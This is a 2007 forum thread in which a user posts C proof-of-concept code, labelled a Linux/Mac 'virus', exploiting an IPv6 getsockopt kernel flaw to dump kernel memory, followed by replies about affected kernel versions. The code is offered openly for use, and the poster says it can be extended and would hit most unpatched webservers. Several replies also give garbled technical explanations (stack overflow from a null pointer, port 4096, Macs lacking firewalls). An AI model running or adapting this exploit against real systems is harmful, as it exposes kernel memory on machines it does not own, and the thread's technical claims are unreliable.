Who said linux couldn't get virii? (works on mac also)

Discussion in 'Programming General' started by Annex, Jul 10, 2007.

Who said linux couldn't get virii? (works on mac also)
  1. Unread #1 - Jul 10, 2007 at 11:18 PM
  2. Annex
    Joined:
    Aug 28, 2005
    Posts:
    2,324
    Referrals:
    3
    Sythe Gold:
    0
    UWotM8?

    Annex Ballin'
    Veteran (Ex-Admin)
    PHP Programmers Retired Administrator

    Who said linux couldn't get virii? (works on mac also)

    Code:
    #include <sys/mman.h>
    #include <netinet/in.h>
    #include <string.h>
    #include <stdlib.h>
    #include <stdio.h>
    #define HOPOPT_OFFSET 8
    #define INIADDR 0xc0100000
    #define ENDADDR  0xd0000000
    
    unsigned int i;
    
    int main(int argc, char *argv[]) {
      int s;
      unsigned int optlen;
      void *ptr;
      char value[10240];
      char text[12];
      fprintf(stderr,"Linux Ipv6_getsockopt_sticky vuln\n"
                     "Works on mac too.\n"
                     "Dumping %p - %p to stdout\n",INIADDR,ENDADDR);
      s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
      setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, (void *)NULL, 0);
      ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
      if (ptr != NULL) {
          perror("mmap");
          exit(-1);
      }
      memset(ptr,0,4096);
      ptr=(char *)((char *)ptr+HOPOPT_OFFSET);
      i=INIADDR;
      while(i<ENDADDR) {
          *((int *)ptr)=i;
          optlen=10240;
          getsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, (void *)value, &optlen);
          if(optlen>0) {
              sprintf(text,"\n%08x:",i);
              write(1,text,strlen(text));
              write(1,value,optlen);
              i=i+optlen;
          } else {
              i=i+4;
          }
      }
      return 0;
    }
    Just a PoC can be much further extended if someone cared to do so.
     
  3. Unread #2 - Jul 11, 2007 at 12:27 PM
  4. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Who said linux couldn't get virii? (works on mac also)

    Doesn't that only affect pre-2.6.20 kernels?
     
  5. Unread #3 - Jul 11, 2007 at 8:50 PM
  6. The End
    Joined:
    Dec 10, 2005
    Posts:
    397
    Referrals:
    0
    Sythe Gold:
    0

    The End Forum Addict

    Who said linux couldn't get virii? (works on mac also)

    hmm does this create a buffer overflow by opening port 4096 then spamming it..?
     
  7. Unread #4 - Jul 12, 2007 at 5:21 PM
  8. Annex
    Joined:
    Aug 28, 2005
    Posts:
    2,324
    Referrals:
    3
    Sythe Gold:
    0
    UWotM8?

    Annex Ballin'
    Veteran (Ex-Admin)
    PHP Programmers Retired Administrator

    Who said linux couldn't get virii? (works on mac also)

    IT works up to 2.6.20.2.

    No, it spams a null pointer which overflows stack.
     
  9. Unread #5 - Jul 16, 2007 at 2:11 PM
  10. bkatz
    Joined:
    Apr 21, 2005
    Posts:
    402
    Referrals:
    0
    Sythe Gold:
    0

    bkatz Forum Addict
    Banned

    Who said linux couldn't get virii? (works on mac also)

    I have 2.6.20.6! I win! ;D

    I will test this out anyway though. nice job if you made this.
     
  11. Unread #6 - Jul 20, 2007 at 7:19 PM
  12. Annex
    Joined:
    Aug 28, 2005
    Posts:
    2,324
    Referrals:
    3
    Sythe Gold:
    0
    UWotM8?

    Annex Ballin'
    Veteran (Ex-Admin)
    PHP Programmers Retired Administrator

    Who said linux couldn't get virii? (works on mac also)

    Most distros use older kernels it will affect most webservers as they have a platform running on them from when it was installed on the server and rarely update.
     
  13. Unread #7 - Jul 21, 2007 at 10:53 PM
  14. ckeboss
    Joined:
    Jun 26, 2007
    Posts:
    71
    Referrals:
    0
    Sythe Gold:
    0

    ckeboss Member

    Who said linux couldn't get virii? (works on mac also)

    but wouldent this be prvented on a mac if you had a firwall on on a mac, because you could not conect to the port....
     
  15. Unread #8 - Jul 23, 2007 at 7:23 PM
  16. Annex
    Joined:
    Aug 28, 2005
    Posts:
    2,324
    Referrals:
    3
    Sythe Gold:
    0
    UWotM8?

    Annex Ballin'
    Veteran (Ex-Admin)
    PHP Programmers Retired Administrator

    Who said linux couldn't get virii? (works on mac also)

    Macs dont have firewalls, Macs are an over advertised ripoff of linux/BSD, their claim of fame is microsoft rips their ideas off, when their own ideas aren't even fucking theirs. Including a Different desktop type which is a pile of shit that freezes all the time. Become familiar with the clover shift period key, as you will be using it alot. You have to trick a mac into getting it to do what you want.
     
  17. Unread #9 - Jul 25, 2007 at 3:38 AM
  18. Cruel__Machine
    Referrals:
    100

    Cruel__Machine Guest

    Who said linux couldn't get virii? (works on mac also)

    Any OS that cannot get a virus is a lame and limiting OS.
    Thanks for the code though. I enjoy reading simple code for interesting things.
     
< GRRR, how the hell do you do this! | help with window >

Users viewing this thread
1 guest


 
 
Adblock breaks this site